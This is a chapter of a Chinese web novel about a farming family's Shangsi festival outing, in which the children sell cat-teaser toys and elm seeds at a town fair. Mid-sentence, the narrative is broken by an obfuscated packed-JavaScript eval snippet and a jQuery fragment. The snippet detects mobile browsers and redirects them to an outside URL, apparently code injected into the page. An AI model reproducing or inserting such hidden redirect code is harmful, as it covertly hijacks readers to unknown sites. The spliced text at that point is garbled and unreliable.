三月三,上巳节。
一切都像是按下了加速键。屋脚下的积雪不知什么时候消失得无影无踪,草儿尖尖迫不及待地拱出了地面,桃花的花苞羞答答地悄然开放,燕子轻轻落在屋檐上唱着歌。
原本灰突突的山上在几天之内染上了五彩缤纷的颜色,夹杂着凉意的暖风拂来,带着丝丝枝叶的清香。
今天是全家出行的大日子,哪怕是身体不好的兰重,今日也被准许一起出行。
家里只有一辆拉粮食的板车,不光要拉几百根逗猫棒、新鲜的荠荠菜,还有采摘下来的榆树钱。
在去宛丘县前,几个小的先被拉到了河上游。牛贵香拿着一根细细的柳枝,沾着河水,从几个孩子的头上依次点过去,一边点着,一边说道:“三月三,河水流,柳枝点着娃娃头,百病跟着河水走。”
冰凉的河水流到几个孩子的脸上,他们都有些好奇地想要去摸,结果都被拍开了手。
王金花笑道:“说了要把病气带走,才能百病不侵,平平安安。所以这水可不能伸手去拦住,要让它流下去,流到地里。照正理儿,都应该把你们丢在河里涮一涮。”
兰融飞快蹲下身,小心翼翼地用手指沾了一下河水。冰凉的水流缠绕在她指甲上,凉得她一激灵。
“好凉!”她呲牙咧嘴。
石香楠一把薅住她的脖领子,把她从河边拉到了身边,小声嘱咐:“今日人多,你老实点。”
兰融嘻嘻一笑,乖巧地站好。
今日全家都要去赶集,家里的大人们只在水里简单地洗洗脸和手,全了祓禊的意思。
几个小的被抱上马车,夹在一堆货物中间,剩下的大人们,包括半大小子大郎,都是用脚走着的。
路上,时不时会碰到村里的熟人,有的要去宛丘县,有的要去上林县,还有的要往远一点的泗县去。每个人的车上都堆着不少的东西,有的人家是山野菜,有的是鸡鸭,还有的是一车的肉和毛皮。
兰融好奇地问二伯那是谁。她在村子里也快一个月了,虽然还不能叫上全部的人名,但大多数也混了个脸熟。
兰老二有些羡慕地望着走向另一条路的马车,跟兰融解释道:“那家人姓李,是咱们村子的猎户,常年都住在山脚边的。你瞧瞧那一车的皮子,都是他们打下来的猎物。”
兰融好奇问道:“很值钱吗?”
兰老二点头:“嗯!一张完整的皮子少说也有半两银子,你看那一车,没准能有个几十两、几百两,这下指定发个大财!”
兰融此时和兰老二共情了,俩人齐齐回头看向走远的马车,嘴角都快流下羡慕的口水。
兰老大笑着揉揉兰融的脑袋,他算是看出来了,这个小侄女脑袋活泛、爱折腾,特别爱钱,一听谁能挣钱就两眼放光。
听奶说,前段时间还要上学堂,当大官。后来知道不能当官,消沉了两天,又活蹦乱跳地寻思挣钱的事了。
都说外甥肖舅,他觉得这话说得不对,应该是侄女肖伯父才对。瞅瞅这个机灵劲儿、财迷样儿,跟他自个儿闺女似的。
兰老大跟兰融算账:“你别听你二伯瞎说。当猎户苦着呢,上山打猎危险不说,也不能时时打来猎物。而且咱们这冬天长,有小半年的时间都不好上山的。你看他们那一车的皮子多,都是要攒上许久才有的。”
兰老头接话道:“咱们家的钱都在地里放着呢!他们的钱有一半都要花在吃喝上,剩下一半还要时刻预备着,就怕受伤。”
兰融听到第一句话,小脑瓜就转不动了:“咱家有钱?咱家把钱埋哪里啦?”
她这几日为了做任务,可是紧紧跟着兰老头的,地都被翻了好几遍了,从未看到有钱在地里呀。
兰老头还不知所以的时候,牛贵香没忍住“哎呦哎呦”地笑了起来:“咱们家小五就是财迷一个。你爷爷说的可不是钱埋在地里,是咱家的地值钱。可不敢乱说,今天说了,明天就得有人过来刨咱家的地了。”
兰融嘴比脑子快:“那爷爷不就不用辛苦翻地了?”
兰家人都是一愣,反应过来后,一个个都笑得发颤。兰老大抚掌赞道:“还是小五脑瓜子灵!明年咱们就这么办!”
一个多时辰的路,就在兰老大和兰融不断逗闷子的过程中,不知不觉过去了。
等到了宛丘镇,城门口已经排上了长长的队伍。一辆辆拉着货物的马车停在门口,等着士兵查验。车虽多,人却并没有特别多,兰融他们并没有等太久。
宛丘镇的守门官兵简单地看了两下,就挥挥手让众人进去了。
赵祁小小声地问兰重:“话本子里不是常有官兵为难人吗?我看他们还算和善,你们有被为难过吗?”
兰融刚想回头回答,却想起了什么,哼了一声,把脸扭过去,嘟着嘴看向三郎,这把三郎看得直挠头。
兰重回忆了一下,摇摇头:“并没有过。他们每日要验几百、几千来往行人,有时都不问什么,便摆手让我们过去了。”
兰融心想,他们每日累得都巴不得少来点人、少说点话,哪有空为难这个那个?
但她才不想说,她还生着赵祁的气呢。这两天两人都没有说过话。
那天她去了赵祁门口,想要跟他道歉,却被轰了出来,还险些夹到了手指,她便一点也不想搭理赵祁了。
赵祁同样尴尬。他看了一眼脑袋都快仰上天的兰融,有些后悔那天把她赶走。
没有兰融叽叽喳喳地出馊主意,这些天他的乐趣都少了很多。
宛丘镇的三月三比大集还要热闹。大集只集中在一条长街上买卖东西,而此时的庙会足足有东南西北四条街。北边是勾栏瓦舍,东边是小吃,西面是牲畜买卖,南边是日常杂物。
而中间,则是高禖庙。
牛贵香做主,让老大和秦氏先去高禖庙拜过后,再回来南边的集市汇合,再由老三、石香楠,还有老二一起去。钱氏还没有出月子,这回并没有跟过来,所以只能兰老二一人去拜一拜。
牛贵香本来想让兰融几个孩子先去逛一逛的,可兰融坚决要先去卖她的逗猫棒。她坚持,兰重便也要跟着一起,赵祁默默地站着不说话,只留一个三郎不可思议地看着三个人。
这可是庙会!这么好玩的庙会,这三个人竟然只想着摆摊?
他拉着大郎的袖子:“哥,咱们一起去玩吧!我不想在这摆摊。”
大郎其实也想一起卖逗猫棒的,那可是他亲自做的。可面对弟弟可怜兮兮的眼神,他犹豫后还是点了点头。
三郎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940512|192942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兴奋地摇着哥哥的衣袖,看向太奶,大大的眼睛里全是希冀。
牛贵香看着好笑,便对兰老二说道:“那你先陪他俩去逛逛,等玩够了,再让他俩跟你去高禖庙。”
众人定好行程,便分头行动。
南边的集市此时人还不算多,兰家人挑了一个中间的小空位。几人拿了小马扎坐下,牛贵香和王金花便和周边的摊主闲话起来。
兰融伸着小脑袋听着,突然发现太奶和奶奶的隐藏技能。眨眼间的工夫,两个老太太已经唠到对方家里田地有几亩了。
左边的一家人家里聘了狸奴,牛贵香将逗猫棒送出了一根,还说这是京城的新鲜玩意儿。
右边家里并没有聘狸奴,不过带着小孙子,王金花便送了一包榆树钱给他家。
看着自家几个孩子眼巴巴地瞅着,王金花给他们三个一人抓了一把。
几个孩子走了一路也饿了,三个人津津有味地一边吃榆树钱儿,一边看着来往的行人。
兰融最近常在外面跑,肤色已经晒成了小麦色,赵祁和兰重却皮肤白皙细腻。三人乖乖坐在一排,黑白配色,引得路人都要多看上两眼。
有带着孩子出来玩的,看见地上的逗猫棒,也会多问上一句。听到不是给孩子的玩具,而是给狸奴玩的小玩意儿,有猫儿的人家便会买上几只。
东西并不贵,四文钱一只,十文钱三只。
榆树钱和荠荠菜是硬通货。三月三上巳节,家家户户都要用荠荠菜煮鸡蛋吃。县里能挖野菜的地方少,路过的人便随手在集市上买上一些,省去了出城挖野菜的功夫。
榆树钱鲜嫩,吃起来香甜可口,带着它独特的清香味道,一个一个地吃,像是吃小零食一般。黑白配三人组,加上隔壁摊子上的小孩子吃得香甜,引得许多人争相购买。
结果等家里的东西都卖出去后,还有一大捧逗猫棒没有卖掉。
赵祁看着自己辛苦缠的逗猫棒还剩这样多,有些失望。可回头看到兰融还优哉游哉地吃着榆树钱儿,便故意开口道:“这可是我和大郎哥辛苦缠的,这工钱你可不能赖账。”
兰融大眼睛忽闪忽闪的:“你有契吗?”
赵祁反应迅速,咬牙道:“你要耍赖!”
兰融两只小手一摊,表情无辜又无赖:“你将契书给我,我便将工钱给你。”
赵祁翻了个大白眼,扭过头不理她。
牛贵香看着眼前的情景,不禁松了一口气,她还真怕两个孩子在这里吵起来。
三人又坐了一会儿,兰融便要一起出去逛逛。
兰老大已经回来了,兰老三两口子刚走不久。牛贵香就让兰老大坐在这里看摊子,自己便和王金花、兰老头带着几个孩子一起去其他地方逛逛。
兰融临走时,央求兰老头用筐装了一大半逗猫棒拿在手里,兰老头只能应下来。
几人走到中央,兰融拉着兰老头便要往西面去看看。
不一会儿后,一脸好奇的兰重、捂着鼻子的赵祁,还有一脸果然如此的婆媳俩,齐齐站在了西市前边。
这里不仅有牛马驴等大型牲口,也有猫崽狗崽等小型动物,在集市入口处,还有专门配药的地方。
兰融转了半晌,突然眼睛一亮,便奔着一处去了。